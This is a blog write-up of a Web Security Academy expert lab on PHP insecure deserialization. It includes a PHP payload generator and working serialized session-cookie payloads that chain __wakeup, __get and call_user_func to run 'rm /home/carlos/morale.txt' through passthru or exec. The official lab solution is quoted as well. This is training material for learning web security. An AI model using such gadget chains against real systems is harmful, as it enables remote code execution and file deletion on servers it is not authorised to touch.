Expert Lab: Developing a custom gadget chain for PHP deserialization
blog
Web Application Security
Web Security Academy
Expert Labs
Insecure Deserialization
Remote Code Execution
Gadget Chains
PHP
Lab Link
Lab: Developing a custom gadget chain for PHP deserialization
Lab Description
This lab uses a serialization-based session mechanism. By deploying a custom gadget chain, you can exploit its insecure deserialization to achieve remote code execution. To solve the lab, delete the morale.txt file from Carlos’s home directory.
You can log in to your own account using the following credentials: wiener:peter
Lab Hint
You can sometimes read source code by appending a tilde (~) to a filename to retrieve an editor-generated backup file.
Solutions
Solution 1: My Solution
We check the source of web pages and in all of them, there is a single line of code:
<!-- TODO: Refactor once /cgi-bin/libs/CustomTemplate.php is updated -->
So we check this link in the browser, as the lab hint suggests, we can grab a copy of editor backup version of this file by adding a tilde(~
) at the end of the file like this:
https://YOUR-LAB-ID.web-security-academy.net/cgi-bin/libs/CustomTemplate.php~
So we get the following php code:
<?php
class CustomTemplate {
private $default_desc_type;
private $desc;
public $product;
public function __construct($desc_type='HTML_DESC') {
$this->desc = new Description();
$this->default_desc_type = $desc_type;
// Carlos thought this is cool, having a function called in two places... What a genius
$this->build_product();
}
public function __sleep() {
return ["default_desc_type", "desc"];
}
public function __wakeup() {
$this->build_product();
}
private function build_product() {
$this->product = new Product($this->default_desc_type, $this->desc);
}
}
class Product {
public $desc;
public function __construct($default_desc_type, $desc) {
$this->desc = $desc->$default_desc_type;
}
}
class Description {
public $HTML_DESC;
public $TEXT_DESC;
public function __construct() {
// @Carlos, what were you thinking with these descriptions? Please refactor!
$this->HTML_DESC = '<p>This product is <blink>SUPER</blink> cool in html</p>';
$this->TEXT_DESC = 'This product is cool in text';
}
}
class DefaultMap {
private $callback;
public function __construct($callback) {
$this->callback = $callback;
}
public function __get($name) {
return call_user_func($this->callback, $name);
}
}
?>
So we might have a leak of some part the website code here. Also after we log in, we check the session cookie, and it turns out it is a serialized php object:
So we can check if this website is vulnerable to insecure deserialization2.
For creating a custom gadget chain, we check the code we got above for kick-off(The first gadget in the chain that triggers the whole gadget chain) and sink gadgets(The last gadget in the chain that can execute our arbitrary code).
In this example, it seems that __wakeup()
magic method might be suitable as the kick-off gadget. This method is executed when the php serialized object is going to be deserialized, in our case, it might execute our payload that we’re going to create. We follow the code, it finally leads to this line: $this->desc = $desc->$default_desc_type;
in Product
class constructor.
Also we search for a suitable sink gadget, the DefaultMap
class has call_user_func
which can execute arbitrary functions if we can somehow lead our input to this function. This function gets $this->callback
as the first parameter and $name
as the second, in this function, the first parameter is the name of an arbitrary php function and the second is the parameter passed to that function, this function is called in __get()
magic method, this method is called when we call an undefined property of DefaultMap
class and the called property name is passed to the second parameter which in our case is the command we are going to execute.
Also we can assign any value to $this->callback
in the class constructor:
public function __construct($callback) {
$this->callback = $callback;
}
So for example we can have a remote code execution in a code similar to this:
$test = new DefaultMap('passthru');
$command = 'rm /home/carlos/morale.txt';
$test->$command;
We assigned our arbitrary function name (passthru
) to $this->callback
by passing this value to the class constructor in the first line of code above. The passthru
php function executes any command we send to it.
The Third line in the above code triggers the __get()
method invocation of DefaultMap
class which results in the following code being executed:
return call_user_func($this->callback, $name);
$this->callback
is passthru
and $name
is rm /home/carlos/morale.txt
now which results in this file being removed from the server.
So the sink gadget and code is complete, now we need to somehow link the kick-off gadget to the sink gadget to execute these lines of codes.
If we review the leaked code, we can see that we have an object($this->desc
) that can have the value of our first line above:
$this->desc = new DefaultMap('passthru');
also we have a property($this->default_desc_type
) that can have the value of our second line above:
$this->default_desc_type = 'rm /home/carlos/morale.txt';
and if we follow the code, we arrive at the last part in Product
class constructor that gets the above $this->desc
and $this->default_desc_type
values as parameters and assign them to $this->desc
of its own:
public function __construct($default_desc_type, $desc) {
$this->desc = $desc->$default_desc_type;
}
which is exactly what we want and is the same as the third line of our code above: $test->$command;
which results in our arbitrary code being executed.
I have prepared a php file for creating the final payload with just the parts of the leaked code that are necessary for creating the payload:
<?php
class CustomTemplate {
private $default_desc_type;
private $desc;
public function __construct() {
$this->desc = new DefaultMap('passthru');
$this->default_desc_type = 'rm /home/carlos/morale.txt';
}
}
class DefaultMap {
private $callback;
public function __construct($callback) {
$this->callback = $callback;
}
}
$test = new CustomTemplate();
$ser = serialize($test);
echo($ser . "\n");
echo("===================================================\n");
echo("base64 endcoded then urlencoded: \n");
echo(urlencode(base64_encode($ser)) . "\n");
?>
and the output of this code is:
O:14:"CustomTemplate":2:{s:33:"CustomTemplatedefault_desc_type";s:26:"rm /home/carlos/morale.txt";s:20:"CustomTemplatedesc";O:10:"DefaultMap":1:{s:20:"DefaultMapcallback";s:8:"passthru";}}
===================================================
base64 endcoded then urlencoded:
TzoxNDoiQ3VzdG9tVGVtcGxhdGUiOjI6e3M6MzM6IgBDdXN0b21UZW1wbGF0ZQBkZWZhdWx0X2Rlc2NfdHlwZSI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO3M6MjA6IgBDdXN0b21UZW1wbGF0ZQBkZXNjIjtPOjEwOiJEZWZhdWx0TWFwIjoxOntzOjIwOiIARGVmYXVsdE1hcABjYWxsYmFjayI7czo4OiJwYXNzdGhydSI7fX0%3D
Keep in mind that the php serialized object is a binary format meaning it may contain some null characters… so if we copy-paste the cleartext part from the above output:
O:14:"CustomTemplate":2:{s:33:"CustomTemplatedefault_desc_type";s:26:"rm /home/carlos/morale.txt";s:20:"CustomTemplatedesc";O:10:"DefaultMap":1:{s:20:"DefaultMapcallback";s:8:"passthru";}}
It won’t work, if we want to copy-paste the cleartext version, we need to edit it manually and the final payload will be something like this:
O:14:"CustomTemplate":2:{s:17:"default_desc_type";s:26:"rm /home/carlos/morale.txt";s:4:"desc";O:10:"DefaultMap":1:{s:8:"callback";s:8:"passthru";}}
If we don’t want to edit the output and directly copy-paste the payload, as mentioned above we have to treat serialized php objects as binary format, as the serialize
function help explains3:
Note that this is a binary string which may include null bytes, and needs to be stored and handled as such.
For example, **serialize()** output should generally be stored in a BLOB field in a database,
rather than a CHAR or TEXT field.
That’s why we base64 and url encoded the output to easily be able to copy-paste it as the session cookie. So we copy this part from the output above:
TzoxNDoiQ3VzdG9tVGVtcGxhdGUiOjI6e3M6MzM6IgBDdXN0b21UZW1wbGF0ZQBkZWZhdWx0X2Rlc2NfdHlwZSI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO3M6MjA6IgBDdXN0b21UZW1wbGF0ZQBkZXNjIjtPOjEwOiJEZWZhdWx0TWFwIjoxOntzOjIwOiIARGVmYXVsdE1hcABjYWxsYmFjayI7czo4OiJwYXNzdGhydSI7fX0%3D
and paste it here in the session cookie in the Burp suite repeater:
and click apply and send, then boom! the carlos’s morale.txt file is removed from the server and the lab is solved!
Solution 2: Web Security Academy’s Solution
-
Log in to your own account and notice that the session cookie contains a serialized PHP object. Notice that the website references the file
/cgi-bin/libs/CustomTemplate.php
. Obtain the source code by submitting a request using the.php~
backup file extension. -
In the source code, notice that the
__wakeup()
magic method for aCustomTemplate
will create a newProduct
by referencing thedefault_desc_type
anddesc
from theCustomTemplate
. -
Also notice that the
DefaultMap
class has the__get()
magic method, which will be invoked if you try to read an attribute that doesn’t exist for this object. This magic method invokescall_user_func()
, which will execute any function that is passed into it via theDefaultMap->callback
attribute. The function will be executed on the$name
, which is the non-existent attribute that was requested. -
You can exploit this gadget chain to invoke
exec(rm /home/carlos/morale.txt)
by passing in aCustomTemplate
object where:CustomTemplate->default_desc_type = "rm /home/carlos/morale.txt"; CustomTemplate->desc = DefaultMap; DefaultMap->callback = "exec"
If you follow the data flow in the source code, you will notice that this causes the
Product
constructor to try and fetch thedefault_desc_type
from theDefaultMap
object. As it doesn’t have this attribute, the__get()
method will invoke the callbackexec()
method on thedefault_desc_type
, which is set to our shell command. -
To solve the lab, Base64 and URL-encode the following serialized object, and pass it into the website via your session cookie:
O:14:"CustomTemplate":2:{s:17:"default_desc_type";s:26:"rm /home/carlos/morale.txt";s:4:"desc";O:10:"DefaultMap":1:{s:8:"callback";s:4:"exec";}}
External Links
References
-
Icon made by Paul J. from www.flaticon.com ↩